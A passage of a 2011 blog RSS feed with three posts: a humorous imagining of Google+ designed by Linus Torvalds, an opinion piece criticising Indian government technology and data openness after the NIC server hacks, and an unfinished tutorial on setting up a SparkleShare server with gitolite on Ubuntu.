Difficulty-of-use : Gone are the click and point days. You’d be required to have absolute mastery over at least 5 different commands before you can even post a single item to your feed.
Full Control : You will have full control over whatever you post. You can make 4 changes, stage them, take them back, commit 2 of them, edit a post, and recommit before pushing it to the server. However all of this will be stored.
Git Backend : Both the client and the server will use git as its backend to store history, revisions, links, and circles.
Circles : would be called trees. And you can tag your trees to take a snapshot of your friends lists at a time.
Branching : would allow you to create multiple versions of your profile. The default version will be called master, while you can continue your secret development in alpha, staging, beta branches. Circles will automatically be associated with branches and auto-post items.
Merging : will allow for collaborative posts.
After 12 years of development, Google+ will reach version 2.1
No deletions : Everything in history has an importance. You are allowed to use rebase to rewrite history. Beware: use cautiously. Incorrect usage may lead to painfull scenarios.
A mascot(direwolf ?) would be found for Google+ (probably after it bit Linus in an aquarium)
Facebook would spend $421m fighting Google+
The manual of Google+ would be a labryinth of switches amd command line arguments for all the features that it came with. A user would be expected to read through the entire manual, or at least the first one-third, before being able to do something of use with the service.
To block a user, you must enter his id in an ignore file
3 years hence, the next big thing would be ghub offering a farm-like service to create, host, and customize your own google+ servers.
Note: Based on the history of linux, and the usability of git.
Announcement
The famous announcement of Linux Kernel on the comp.os.minix mailing list is well-known. Slightly re-written, this is how Linus might have announced Google+.
Tags: WeBlog iFest 2011, humour, linux, linus]]></description>
            <content:encoded><![CDATA[<p>Google’s announced its next big thing, <a href="http://plus.google.com">Google+</a> to take on Facebook left people wondering if the next version would be called Google++. Inspite of all the great work that Vic Gundotra has put into Google+, it still lacks something. The creator of linux, Linus Torvalds. Google+ is as-of-now the social network for tech-geeks who are part of a field trial experiment(monkeys!) on the site. Google+ is still halfway geek, and in my imagination it would have been the ultimate geek power tool if it had been designed by Linus. Unfortunately, he is busy developing the linux kernel (10 million lines, 2% being his), and we would have to suffice with these thoughts:</p>

<ul>
  <li><strong>Open Source</strong> : Google+ would be open sourced. Anyone could run Google+ on their own servers, and use it to create their own Social Network</li>
  <li><strong>Command Line</strong> : The default Google+ client would run natively on linux/unix but would be ported later to Windows using cygwin.</li>
  <li><strong>Difficulty-of-use</strong> : Gone are the click and point days. You’d be required to have absolute mastery over at least 5 different commands before you can even post a single item to your feed.</li>
  <li><strong>Full Control</strong> : You will have full control over whatever you post. You can make 4 changes, stage them, take them back, commit 2 of them, edit a post, and recommit before pushing it to the server. However all of this will be stored.</li>
  <li><strong>Git Backend</strong> : Both the client and the server will use git as its backend to store history, revisions, links, and circles.</li>
  <li><strong>Circles</strong> : would be called trees. And you can tag your trees to take a snapshot of your friends lists at a time.</li>
  <li><strong>Branching</strong> : would allow you to create multiple versions of your profile. The default version will be called master, while you can continue your secret development in alpha, staging, beta branches. Circles will automatically be associated with branches and auto-post items.</li>
  <li><strong>Merging</strong> : will allow for collaborative posts.</li>
  <li>After 12 years of development, Google+ will reach version 2.1</li>
  <li><strong>No deletions</strong> : Everything in history has an importance. You are allowed to use rebase to rewrite history. Beware: use cautiously. Incorrect usage may lead to painfull scenarios.</li>
  <li>A mascot(direwolf ?) would be found for Google+ (probably after it bit Linus in an aquarium)</li>
  <li>Facebook would spend $421m fighting Google+</li>
  <li>The manual of Google+ would be a labryinth of switches amd command line arguments for all the features that it came with. A user would be expected to read through the entire manual, or at least the first one-third, before being able to <em>do something</em> of use with the service.</li>
  <li>To block a user, you must enter his id in an ignore file</li>
  <li>3 years hence, the next big thing would be ghub offering a farm-like service to create, host, and customize your own google+ servers.</li>
</ul>

<blockquote>
  <p>Note: Based on the history of linux, and the usability of git.</p>
</blockquote>

<h3 id="announcement">Announcement</h3>

<p>The <a href="http://www.thelinuxdaily.com/2010/04/the-first-linux-announcement-from-linus-torvalds/">famous announcement of Linux Kernel</a> on the <code class="language-plaintext highlighter-rouge">comp.os.minix</code> mailing list is well-known. Slightly re-written, this is how Linus might have announced Google+.</p>

<pre>
&gt;From: torvalds@klaava.Helsinki.FI (Linus Benedict Torvalds)  
&gt;Newsgroups: web.social.facebook  
&gt;Subject: What would you like to see most in facebook  
&gt;Summary: small poll for my new social network  
&gt;Message-ID: &lt;2011Jun28.205708.9541@klaava.Helsinki.FI&gt;  
&gt;Date: 28 Jun 11 20:57:08 GMT  
&gt;Organization: Google  

&gt;Hello everybody out there using facebook -

&gt;I’m doing a (free) social network (just a hobby, won’t be big and professional like facebook). This has been brewing since dec, and is starting to get ready. I’d like any feedback on things people like/dislike in facebook, as my site resembles it somewhat (same layout of the news feed and comments(due to practical reasons) among other things).

&gt;I’ve currently ported feed(1.08), comments(2.1), photos(3.14), and likes(1.40), and things seem to work. This implies that I’ll get something practical within a few months, and I’d like to know what features most people would want. Any suggestions are welcome, but I won’t promise I’ll implement them :-)

&gt;Linus (torvalds@kruuna.helsinki.fi)

&gt;PS. Yes – it’s free of any facebook code, and it has pipelined js. It is NOT protable (uses google accounts), and it probably never will support anything other than Google App Engine, as that’s all I have :-(.

</pre>

<p>Tags: <a href="http://www.facebook.com/WeBlog2011">WeBlog iFest 2011</a>, humour, linux, linus</p>
]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[Why Indian Government Sucks at Technology]]></title>
            <link>https://captnemo.in/blog/2011/06/22/why-indian-government-sucks-at-technology/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2011/06/22/why-indian-government-sucks-at-technology/</guid>
            <pubDate>Wed, 22 Jun 2011 00:00:00 GMT</pubDate>
            <description><![CDATA[Note: All opinions are mine alone. Please keep your opinions limited to comments.
This is in wake of the not-so-anonymous attacks on the nic servers. Apparently a few people had decided to brand their own version of AnonymousIndia and hack into the nic servers. This had been viewed as almost normal in the Indian Media. This is after all something that happens every other day in India. Its just the Indian Army website, nothing that we care about.
Even though there are excellent tech-security companies in India, we have never developed the right attitude to it. People still think that hacking is fun, and its something that could never happen to them. I’ve never seen people reading the fine print on the thousand social web sites they join now a days. Piracy is rampant in India without any checks and the Indian Government is silent.
Why? Because we are used to it. It has always happened this way. Information leaks have been a major part of the Indian history and would remain so unless we realize that the more we embrace technology; the more we become dependent on it, it is coming one step closer to the edge.
A recent tweet by @divyekapoor reminded me of the AADHAR project, which aims to give out a unique identification number to each Indian citizen.
Hacks like these ensure that I will resist giving my Biometrics to the UID project till they've suffered atleast 4 security breaches.
— Divye Kapoor (@divyekapoor) June 18, 2011




I read out the UIDAI docs and it tells us that it would  “prescribe protocols to ensure the confidentiality, privacy and security  of data”, and “follow the confidentiality, privacy and security  protocols prescribed by the UIDAI”. A search on the uidai.gov.in website gives out a little detail :
The UID database will be guarded both physically and electronically by a few select individuals with high clearance. It will not be available even for many members of the UID staff and will be secured with the best encryption, and in a highly secure data vault. All access details will be properly logged.
This is the most that they have to say on the subject. If that makes you feel safe, remember the earlier fiasco involving the security of the EVM machines. Ultimately I’m with the government on that one, however, since a user had to have physical access to actually do any harm to the machine. But it was possible and Election Council kept denying it. As it happened, it seems that all our govt. agencies are probably trying more to hide their technical requirements, rather than make them open.
So why is this approach taken in India? Beauracracy? probably yes. But I feel that unless the technocrats rise up and actually enter the Indian Govt. technical agencies (such as NIC), nothing would change. For instance I find that almost everything that Indian government does is tailored specifically for Windows. There is no reason to plaster “Works best in Internet Explorer 6 at 1024x768” in all your web sites, we already know how much the Indian government. So much so that they get it pre-installed everywhere, even in government schools, and technical institutions.
Yet there is a small faction that is working tirelessly in the other direction as well. For instance the Sakshat project has been under the news recently as well. It would ship with a version of android (which one?) with wi-fi, bluetooth and other frills. However the project has been known for shadowing and changing its details at each conference it is unvealed, so beware. It may suddenly change from an android to a Windows phone in the next one. Or maybe a blade server (speaking of which, the uid project ordered 68 of them.
I’ve worked a little bit on online Geo-Mapping tools earlier (mostly using Google Maps API). However, I wanted some accurate data for one of my projects (such as geographical boundaries). Other sources for this data are not as reliable, and I found the bhuvan online tool to be extremely accurate in this respect. If you’ve forgotten Bhuvan, its the Indian version of Google Maps. It was supposed to be the tool for mapping things. Unfortunately, as things have planned out, most of its claims have been rubbished (like 10m resolution power), or made null due to the extremely slow servers it uses(and it was supposedly optimized for low bandwidths). If you’re plannig to fight google, you’ve to step up your game. Try checking out the horrible design of the Bhuvan website. Leaving aside its horrible interface, Windows only support (.net), installation of additional plugins to just run it, and , it had brilliant geographical data(collected via various government agencies). However as it turns out, this data is not public. Why? It seems that ISRO plans to sell this data to people interested in using it. Wow! So a public funded agency decides to make money from the development done using our money. It’s been close to 3 years since its launch. And I’d be highly interested in knowing where it managed to sell this data.
In all fairness, though they’ve said that they would only sell the high resolution data, while making the general data freely available to users. But I don’t see fair unless its own my system, damn it. If by free you mean I’d have to open your website each time I need to find a village, it seems we have different thoughts about the word’s usage. Oh, and there’s a link on the website’s home page to a section called APIs which redirects to the Bhuvan Software download page, where guess what, there are no APIs at all. I managed to dig a few links and download two versions of their APIs, which seem to be downloaded copies of the documentation of the open layer javascript protocol they are using for mapping in the browser. So the data is available, it seems. But they’re forgetting to mention where.
Seriously, people wake up. This is the 21st century, and the most hyped buzz word today is open-source(well, after cloud). And if you really want to work on things, make them open source. Not just the technology, but the data as well. Becauase open data is essential to growth and planning of a nation, as Hans Rosling keeps on reminding us. Meanwhile, DRDO decides to go ahead and develop its own operating system. Why? Because it will be closed-source and will be much more secure than any of the variants of linux.  Or so they think.
The Informatics center still runs thousands of its websites in ASP (not even ASP.net), and this fact alone is enough to scare me off. With major corporations suffering from data leakage (Sony, Gawker) where user access was compromised, it is high time that the Indian Govt. someone realizes that you cannot secure your systems by locking them in a vault. These companies did the same, and look at the result.
Even the American Government has come up with an open-source initiative. Their website data.gov is a collection of applications, apis and raw data collected by various government agencies. And to top it all, the US government invited the top application developers from their platform at data.gov to the White House, hailing them as unsung heroes of the new age. If you’re interested in reading more and taking a stand for the open data democracy, take a look at this whitepaper by the Netherlands Organisation for Applied Scientific Research for a keen review of what are the major barriers to a government from sharing its data. Also go ahead and donate some money to wikileaks, while you’re at it.
And where is the Indian government at this? Not very far behind, but lagging nonetheless. Let us take the prime example of the decennial festival that is the Census. Apparently all census data is free (as it should be). But there is a minor caveat. The entire site is made in asp (which doesn’t really matter, I just don’t like it), and all the data (tables, figures, maps) are in pdf format. So, you can access the data personally, on a single page. Page by page, it might be thousands of documents, figures, charts, and what not. But since it is all in pdf format, it is locked down. You could parse it by some means, but the data is supposed to be free, in the best format possible so that everyone can use it easily. And the geographical boundary data(which I mentioned earlier) is also available in the census results, but only via a java applet, which does not allow access to the raw data, that an application developer would need. Am I expected to file an RTI application, just to know the exact boundaries of my state. Or perhaps, I should just pay ISRO and be done with it.
As an additional benifit easter egg, the census website states the following:
The Census of India or any data or content providers shall not be liable for any errors in the content, or for any actions taken in reliance thereon.
All efforts have been made to ensure the accuracy and currency of the content on this website. However, users are requested to verify/check any information with us to obtain appropriate professional advice before acting on the information provided in the website. In no event will the Government or office of the Registrar General India be liable for any expense, loss or damage including, without limitation, indirect or consequential loss or damage, or any expense, loss or damage whatsoever arising from use, or loss of use, of data, arising out of or in connection with the use of this website.
And lastly, as an analogue to the excellent Right To Information Act, there must be an analogous Right To Technology act. It should empower each and every person in the country to know what is happening behind the scenes. We demand total transparency in technological decisions. Not just the passing of tenders, but the decisions which involve actual technological development. For. eg at the CDAC website, the government offers a trial version of various forensic tools they’ve developed. Why aren’t they open sourced? Why were they writen using a particular language? If RTI fought off the beauracracy, this could help us eliminate the old technocrat thinking from the India Govt. If we are able to get the right data, in the right format, thousands of application developers across the world are willing to create great ways to access that data. Data by itself is not enough, however. It must be met with an equal resolve from people to make it accesible, and usable.
This could be a turning point in the Indian Govt. Either they could continue what they’ve been doing and meet their doom in a major state sponsored hack crippling the entire nation. Or they could take a step back, and do things the right way.
And what is the right way?

Update :According to an article in the Economic Times, there is a working draft for bringing Open-Source in e-governence systems under work.]]></description>
            <content:encoded><![CDATA[<blockquote>
  <p><strong>Note</strong>: All opinions are mine alone. Please keep your opinions limited to comments.</p>
</blockquote>

<p>This is in wake of the <a href="http://www.voiceofgreyhat.com/2011/06/anonymous-withdrawn-op-india-untold.html" title="Aftermath of the attack">not-so-anonymous</a> <a href="http://www.thehackernews.com/2011/06/anonymous-india-opindia-strikes-again.html" title="News report of the actual event">attacks</a> on the nic servers. Apparently a <a href="http://pastebin.com/MHwHNTEi" title="Names of perpetrators of the hack">few people</a> had decided to brand their own version of AnonymousIndia and hack into the nic servers. This had been viewed as almost normal in the Indian Media. This is after all something that happens every other day in India. Its just the Indian Army website, nothing that we care about.</p>

<p>Even though there are excellent <a href="http://jobs.nullcon.net/" title="Jobs in indian security sector">tech-security companies in India</a>, we have never developed the right attitude to it. People still think that hacking is fun, and its something that could never happen to them. I’ve never seen people reading the fine print on the thousand social web sites they join now a days. Piracy is rampant in India without any checks and the Indian Government is silent.</p>

<p>Why? Because we are used to it. It has always happened this way. Information leaks have been a major part of the Indian history and would remain so unless we realize that the more we embrace technology; the more we become dependent on it, it is coming one step closer to the edge.</p>

<p>A recent tweet by <a href="http://www.twitter.com/#!/divyekapoor/" title="@divyekapoor on twitter">@divyekapoor</a> reminded me of the AADHAR project, which aims to give out a unique identification number to each Indian citizen.</p>

<!-- http://twitter.com/#!/divyekapoor/status/82123483202584576 -->
<blockquote class="twitter-tweet" data-lang="en"><p lang="en" dir="ltr">Hacks like these ensure that I will resist giving my Biometrics to the UID project till they&#39;ve suffered atleast 4 security breaches.</p>&mdash; Divye Kapoor (@divyekapoor) <a href="https://twitter.com/divyekapoor/status/82123483202584576">June 18, 2011</a></blockquote>


<!-- end of tweet -->

<p>I read out the <a href="http://uidai.gov.in/" title="Official Website">UIDAI</a> <a href="http://uidai.gov.in/UID_PDF/Front_Page_Articles/MOU/MOUsSigned/MOU_Uttarakhand.pdf" title="UIDAI's 'MOU With the uttrakhand govt.">docs</a> and it tells us that it would  <em>“prescribe protocols to ensure the confidentiality, privacy and security  of data”</em>, and <em>“follow the confidentiality, privacy and security  protocols prescribed by the UIDAI”</em>. A search on the uidai.gov.in website gives out a little detail :</p>

<blockquote>
  <p>The UID database will be guarded both physically and electronically by a few select individuals with high clearance. It will not be available even for many members of the UID staff and will be secured with the best encryption, and in a highly secure data vault. All access details will be properly logged.</p>
</blockquote>

<p>This is the most that they have to say on the subject. If that makes you feel safe, remember the earlier fiasco involving the security of the <a href="http://indiaevm.org/" title="Website of the security researchers detailing their study on tampering of EVMs">EVM machines</a>. Ultimately I’m with the government on that one, however, since a user had to have physical access to actually do any harm to the machine. But <em>it was possible</em> and Election Council kept denying it. As it happened, it seems that all our govt. agencies are probably trying more to hide their technical requirements, rather than make them open.</p>

<p>So why is this approach taken in India? Beauracracy? probably yes. But I feel that unless the technocrats rise up and actually enter the Indian Govt. technical agencies (such as NIC), nothing would change. For instance I find that almost everything that Indian government does is tailored specifically for Windows. There is no reason to plaster <a href="http://www.google.com/search?q=Internet%20Explorer%20site:gov.in%20-filetype:pdf" title="List of indian government websites with the words Internet Explorer">“Works best in Internet Explorer 6 at 1024x768”</a> in all your web sites, we already know how much the <a href="http://techrights.org/wiki/index.php/Microsoft_influence_in_the_Indian_government" title="Microsoft's Influence in the Indian Government">Indian</a> <a href="http://techrights.org/2010/01/22/india-patents-microsoft-lobby/" title="&quot;) [loves Windows](http://ramdas.diqtech.com/blogs/2008/jun/16/how-microsoft-has-locked-the-indian-government/ &quot;Microsft has locked the Indian Government">government</a>. So much so that they get it pre-installed everywhere, even in government schools, and technical institutions.</p>

<p>Yet there is a small faction that is working tirelessly in the other direction as well. For instance the <a href="http://technorati.com/technology/gadgets/article/sakshat-a-35-tablet-to-be/" title="Technorati's report on the device with specs of the tablet">Sakshat project</a> has been under the news recently as well. It would ship with a version of android (which one?) with wi-fi, bluetooth and other frills. However the project has been known for shadowing and changing its details at each conference it is unvealed, so beware. It may suddenly change from an android to a Windows phone in the next one. Or maybe a blade server (speaking of which, the <a href="http://www.uidai.gov.in/index.php?option=com_content&amp;view=article&amp;id=177&amp;Itemid=214" title="List of contracts awareded by UIDAI">uid project ordered 68 of them</a>.</p>

<p>I’ve worked a little bit on online Geo-Mapping tools earlier (mostly using Google Maps API). However, I wanted some accurate data for one of my projects (such as geographical boundaries). Other sources for this data are not as reliable, and I found the <a href="http://bhuvan3.nrsc.gov.in/" title="Bhuvan is a Google Earth like mapping tool developed by ISRO">bhuvan online tool</a> to be extremely accurate in this respect. If you’ve forgotten <a href="http://bhuvan.nrsc.gov.in/bhuvan/" title="Official site">Bhuvan</a>, its the Indian version of Google Maps. It was supposed to be <strong>the tool for mapping things</strong>. Unfortunately, as things have planned out, most of its <a href="http://ogleearth.com/2008/11/bhuvan-indias-upcoming-web-map-announced-misreported/" title="Bhuvan not what it was supposed to be">claims have been rubbished</a> (like 10m resolution power), or made null due to the extremely slow servers it uses(and it was supposedly optimized for low bandwidths). If you’re plannig to fight google, you’ve to step up your game. Try checking out the horrible design of the Bhuvan website. Leaving aside its horrible interface, Windows only support (.net), installation of additional plugins to just run it, and , it had brilliant geographical data(collected via various government agencies). However as it turns out, this data is not public. Why? It seems that ISRO plans to <a href="http://www.dnaindia.com/india/report_bhuvan-our-answer-to-google-earth-soon_1203871">sell this data</a> to people interested in using it. Wow! So a public funded agency decides to make money from the development done using <em>our money</em>. It’s been close to 3 years since its launch. And I’d be highly interested in knowing where it managed to sell this data.</p>

<p>In all fairness, though they’ve said that they would only sell the high resolution data, while making the general data <em>freely available to users</em>. But I don’t see fair unless its own my system, damn it. If by free you mean I’d have to open your website each time I need to find a village, it seems we have different thoughts about the word’s usage. Oh, and there’s a link on the website’s home page to a section called APIs which redirects to the Bhuvan Software download page, where guess what, there are no APIs at all. I managed to dig a few links and download two versions of their APIs, which seem to be downloaded copies of the documentation of the open layer javascript protocol they are using for mapping in the browser. So the data is available, it seems. But they’re forgetting to mention where.</p>

<p>Seriously, people wake up. This is the 21st century, and the most hyped buzz word today is open-source(well, after cloud). And if you really want to work on things, make them open source. Not just the technology, but the data as well. Becauase open data is essential to growth and planning of a nation, as Hans Rosling keeps on reminding us. Meanwhile, DRDO decides to go ahead and <a href="http://articles.economictimes.indiatimes.com/2010-10-10/news/28458329_1_saraswat-drdo-cyber-attacks">develop its own operating system</a>. Why? Because it will be closed-source and will be much more secure than any of the variants of linux.  Or so they think.</p>

<p>The Informatics center still runs thousands of its websites in ASP (not even ASP.net), and this fact alone is enough to scare me off. With major corporations suffering from data leakage (Sony, Gawker) where user access was compromised, it is high time that the Indian Govt. someone realizes that you cannot secure your systems by locking them in a vault. These companies did the same, and look at the result.</p>

<p>Even the American Government has come up with an open-source initiative. Their website <a href="http://www.data.gov">data.gov</a> is a collection of applications, apis and raw data collected by various government agencies. And to top it all, the <a href="http://www.govtech.com/e-government/White-House-Honors-Unsung-Open-Data-App-Developers.html">US government invited the top application developers</a> from their platform at data.gov to the White House, hailing them as unsung heroes of the new age. If you’re interested in reading more and taking a stand for the open data democracy, take a look at <a href="http://share-psi.eu/papers/TNO.pdf">this whitepaper</a> by the Netherlands Organisation for Applied Scientific Research for a keen review of what are the major barriers to a government from sharing its data. Also go ahead and donate some money to wikileaks, while you’re at it.</p>

<p>And where is the Indian government at this? Not <em>very</em> far behind, but lagging nonetheless. Let us take the prime example of the decennial festival that is the Census. Apparently all census data is free (as it should be). But there is a minor caveat. The entire site is made in asp (which doesn’t really matter, I just don’t like it), and all the data (tables, figures, maps) are in pdf format. So, you can access the data personally, on a single page. Page by page, it might be thousands of documents, figures, charts, and what not. But since it is all in pdf format, it is locked down. You could parse it by some means, but the data is supposed to be free, in the best format possible so that everyone can use it easily. And the geographical boundary data(which I mentioned earlier) is also available in the census results, but only via a <a href="http://www.censusindia.gov.in/maps/censusgis/Census_GIS/page/India_WhizMap/IndiaMap.htm" title="Developed by Whizmaps, Riddhi softwares">java applet</a>, which does not allow access to the raw data, that an application developer would need. Am I expected to file an RTI application, just to know the <em>exact</em> boundaries of my state. Or perhaps, I should just pay ISRO and be done with it.</p>

<p>As an <del>additional benifit</del> <ins>easter egg</ins>, the census website <a href="http://www.censusindia.gov.in/Footer_Menus/Disclaimer.html">states the following</a>:</p>

<blockquote>
  <p>The Census of India or any data or content providers shall not be liable for any errors in the content, or for any actions taken in reliance thereon.</p>
</blockquote>

<blockquote>
  <p>All efforts have been made to ensure the accuracy and currency of the content on this website. However, users are requested to verify/check any information with us to obtain appropriate professional advice before acting on the information provided in the website. In no event will the Government or office of the Registrar General India be liable for any expense, loss or damage including, without limitation, indirect or consequential loss or damage, or any expense, loss or damage whatsoever arising from use, or loss of use, of data, arising out of or in connection with the use of this website.</p>
</blockquote>

<p>And lastly, as an analogue to the excellent Right To Information Act, there must be an analogous Right To Technology act. It should empower each and every person in the country to know what is happening behind the scenes. We demand total transparency in technological decisions. Not just the passing of tenders, but the decisions which involve actual technological development. For. eg at the CDAC website, the government offers a trial version of various forensic tools they’ve developed. Why aren’t they open sourced? Why were they writen using a particular language? If RTI fought off the beauracracy, this could help us eliminate the old technocrat thinking from the India Govt. If we are able to get the right data, in the right format, thousands of application developers across the world are willing to create great ways to access that data. Data by itself is not enough, however. It must be met with an equal resolve from people to make it accesible, and usable.</p>

<p>This could be a turning point in the Indian Govt. Either they could continue what they’ve been doing and meet their doom in a major state sponsored hack crippling the entire nation. Or they could take a step back, and do things the right way.</p>

<p>And what is the right way?</p>

<p><img src="https://captnemo.in/img/peace-love-linux.jpg" alt="Peace, Love, Linux" /></p>

<p><strong>Update</strong> :According to an article in the <a href="http://economictimes.indiatimes.com/news/international-business/all-new-e-governance-projects-must-work-on-open-source-operating-systems-draft/articleshow/9119827.cms">Economic Times</a>, there is a working draft for bringing Open-Source in e-governence systems under work.</p>
]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[Setting Up Sparkleshare Server using Gitolite and Ubuntu]]></title>
            <link>https://captnemo.in/blog/2011/06/20/ubuntu-gitolite-sparkleshare-install/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2011/06/20/ubuntu-gitolite-sparkleshare-install/</guid>
            <pubDate>Mon, 20 Jun 2011 00:00:00 GMT</pubDate>
            <description><![CDATA[Introduction
Everybody seems to be all about open-source cloud-backup and sync solutions now-a-days. The hype is all around the cloud, they say. However cloud is just a stupid concept for sales people, that I prefer to avoid. However people are coming up with all kinds of crazy ideas to create their own dropbox clones. A few similar services include SpiderOak, Ubuntu One, Sugar Sync, and Wuala. However, not all of them are compatible with Linux (unlike Dropbox, which is).
Comparision
So here’s a minor comparision of some famous clients :
Dropbox : Cuurent Leader, offers everything from sync, collaboration, sharing, public links, upgradable storage and is the de-facto client for synchonization tasks. However there have been a few issues regarding its privacy issues recently.
Ubuntu One : Ubuntu One is Ubuntu’s fighting offering to Dropbox. Its excellent, with an open source api, that allows one to create applications for the Ubuntu One platform very easily. However, the server-side of Ubuntu-One is still closed source, which means you cannot setup it on your own servers (similar to dropbox). Canonical has hinted that it might be made open source in the future.
Wuala : is a file-backup network where you trade your own hard disk space for extra storage. This allows wuala to offer higher space at a much lower offering rate.
SpiderOak : I’m using this currently along with SparkleShare and Dropbox. It has proven to be very robust, allowing me to backup almost anything to its servers. I’ve got a 5GB account which is more than enough for me till now. Its very powerful interface allows one to control each and every aspect of your backup/sync/share process. Also it boasts of a true-privacy feature, meaning that all your documents are encrypted before being sent to dropbox. It also means that you can only reset your password from your own computer.
Take a look at http://en.wikipedia.org/wiki/Comparison_of_file_synchronization_software for a better comparision of several other services as well.
Installing SparkleShare using gitolite
This is a simple tutorial on running your own sparkleshare server as a hosting server. Note, that this implementation should ideally be built as a separate module for sparkleshare-admin, which is still under works as of writing. Sparkleshare’s basic concept is to use git repositories as storage places. In case you don’t know what git is, I’d recommend this guide for more details. In short it is an awesome revisioning system for use by anyone managing code(or content for that matter as well). It allows you to keep track of what is happening with your directory, and revert back to earlier versions (among several other things).
Sparkleshare asks you to setup a git-server somewhere and use it as a remote storage system. It offers out of the box support for git hosting providers github and gitorious. It also allows you to add your own custom servers as well. Enough description, lets get down to some work :
Setup Gitolite
Assumptions :
You are running a stable Linux OS (Fedore/Debian/Ubuntu etc)
user@host1 is your own computer
user2@host2 is the primary computer where you intend to start the server
The gitolite username is sparkle
Setup WildRepos
Edit the file and add the following lines at the bottom :
Now we need a method to allow anyone to create git repositories on the server. This is accomplished via Gitolite’s very powerful Wildcard Repositories feature.
Setup Client
Now, your server is all setup, but there is still stuff to be done :
When you run sparkleshare for the first time, it asks you for a few things, including your email-id. Fill in those details, but do not setup your repository yet. You need to first allow your sparkleshare account access to gitolite.
Now if all goes well, you’d have allowed acess to gitolite for this user. We now need to re-run the sparkeshare setup again. Find it in your Applications. Now when it asks you to fill a repository path, type in the following details :
Please take care of the slashes, otherwise sparkleshare fails to recognize it as a valid ssh address. Instead of fh73ah, you can type any alphanumeric string of 6 characters. You can change this in your gitolite-admin conf.
After your first sync is complete (in which it tries to clone your existing repo, and gitolite creates it for you), you can find a folder called Sparkleshare in your home directory. This contains all your personal sparkleshares, including your first one. Put in any content inside the fh73ah and it would be automatically synchronized.
Conclusion
The best thing about sparkleshare is that you can use your own server under your own rules. I’ve synced 143GB via Sparkleshare so far, and it has been working excellent so far. It takes a complete history, takes care of moves (git) and allows you to keeo huge backups easily. Just drag and drop, and forget. If you want to sync already existing folders, just drag them , and alt+drop them inside the shared folder. This way a sym-link gets created, which refers to the original directory. The sparkleshare folder on my computer takes up hardly a few kbs, but syncs worth 150gb.
This method is only useful if you need to manage multiple accounts on the same host. Otherwise, you can refer to this excellent post on webupd8 for instructions to install it to a single user system (which does not involve the complication of gitolite). I’ve been looking for some gitolite management scripts (I’ve written a few as well) which would allow one to easily add their own ssh keys. This way anyone can easily setup accounts on the system. However, as of now, this is just a dream.]]></description>
            <content:encoded><![CDATA[<h2 id="introduction">Introduction</h2>
<p>Everybody seems to be all about open-source cloud-backup and sync solutions now-a-days. The hype is all around the cloud, they say. However cloud is just a stupid <a href="http://everythingsysadmin.com/2011/06/avoid-using-the-term-cloud-com.html">concept for sales people</a>, that I prefer to avoid. However people are coming up with all kinds of crazy ideas to create their own <a href="http://fak3r.com/geek/howto-build-your-own-open-source-dropbox-clone/">dropbox</a> <a href="http://www.rubyinside.com/rubydrop-a-dropbox-clone-in-ruby-3968.html">clones</a>. A few similar services include <a href="https://spideroak.com/">SpiderOak</a>, <a href="https://one.ubuntu.com/">Ubuntu One</a>, <a href="https://www.sugarsync.com/">Sugar Sync</a>, and <a href="http://www.wuala.com/">Wuala</a>. However, not all of them are compatible with Linux (unlike Dropbox, which is).</p>

<h2 id="comparision">Comparision</h2>
<p>So here’s a minor comparision of some famous clients :</p>

<ul>
  <li><strong>Dropbox</strong> : Cuurent Leader, offers everything from sync, collaboration, sharing, public links, upgradable storage and is <em>the de-facto</em> client for synchonization tasks. However there have been a few issues regarding its privacy issues recently.</li>
  <li><strong>Ubuntu One</strong> : Ubuntu One is Ubuntu’s fighting offering to Dropbox. Its excellent, with an open source api, that allows one to create applications for the Ubuntu One platform very easily. However, the server-side of Ubuntu-One is still closed source, which means you cannot setup it on your own servers (similar to dropbox). Canonical has hinted that it might be made open source in the future.</li>
  <li><strong>Wuala</strong> : is a file-backup network where you trade your own hard disk space for extra storage. This allows wuala to offer higher space at a much lower offering rate.</li>
  <li><strong>SpiderOak</strong> : I’m using this currently along with SparkleShare and Dropbox. It has proven to be very robust, allowing me to backup almost anything to its servers. I’ve got a 5GB account which is more than enough for me till now. Its very powerful interface allows one to control each and every aspect of your backup/sync/share process. Also it boasts of a true-privacy feature, meaning that all your documents are encrypted before being sent to dropbox. It also means that you can only reset your password from your own computer.</li>
</ul>

<p>Take a look at <a href="http://en.wikipedia.org/wiki/Comparison_of_file_synchronization_software">http://en.wikipedia.org/wiki/Comparison_of_file_synchronization_software</a> for a better comparision of several other services as well.</p>

<h1 id="installing-sparkleshare-using-gitolite">Installing SparkleShare using gitolite</h1>
<p>This is a simple tutorial on running your own sparkleshare server as a hosting server. Note, that this implementation should ideally be built as a separate module for sparkleshare-admin, which is still under works as of writing. Sparkleshare’s basic concept is to use git repositories as storage places. In case you don’t know what git is, I’d recommend <a href="https://git.wiki.kernel.org/index.php/GitFaq">this guide</a> for more details. In short it is an awesome revisioning system for use by anyone managing code(or content for that matter as well). It allows you to keep track of what is happening with your directory, and revert back to earlier versions (among <strong>several</strong> other things).</p>

<p>Sparkleshare asks you to setup a git-server somewhere and use it as a remote storage system. It offers out of the box support for git hosting providers <a href="https://www.github.com">github</a> and <a href="http://gitorious.org/">gitorious</a>. It also allows you to add your own custom servers as well. Enough description, lets get down to some work :</p>

<h3 id="setup-gitolite">Setup Gitolite</h3>
<h4 id="assumptions-">Assumptions :</h4>
<ol>
  <li>You are running a stable Linux OS (Fedore/Debian/Ubuntu etc)</li>
  <li><code class="language-plaintext highlighter-rouge">user@host1</code> is your own computer</li>
  <li><code class="language-plaintext highlighter-rouge">user2@host2</code> is the primary computer where you intend to start the server</li>
  <li>The gitolite username is <code class="language-plaintext highlighter-rouge">sparkle</code></li>
</ol>

<pre class="prettyprint lang-sh">
#On your host machine (which will be remote admin to the git share)
ssh-copy-id user2@host2:/tmp/user.tmp
#should not ask for password:
ssh user2@host2
sudo apt-get install gitolite 
sudo dpkg-reconfigure sparkleshare
#Configuration Options may vary, but remember the gitolite user name that you specified
logout #Come back to your own computer
git clone sparkle@host2:gitolite-admin 
#Should work, or else you did something wrong. Go read the [gitolite docs](http://sitaramc.github.com/gitolite/doc/)
cd gitolite-admin
nano conf/gitolite.conf
</pre>

<h3 id="setup-wildrepos">Setup WildRepos</h3>
<p>Edit the file and add the following lines at the bottom :</p>
<pre class="prettyprint lang-pl">
repo	share/[a-z0-9]{6}
	C	=   @all
	RW+	=   CREATOR
</pre>

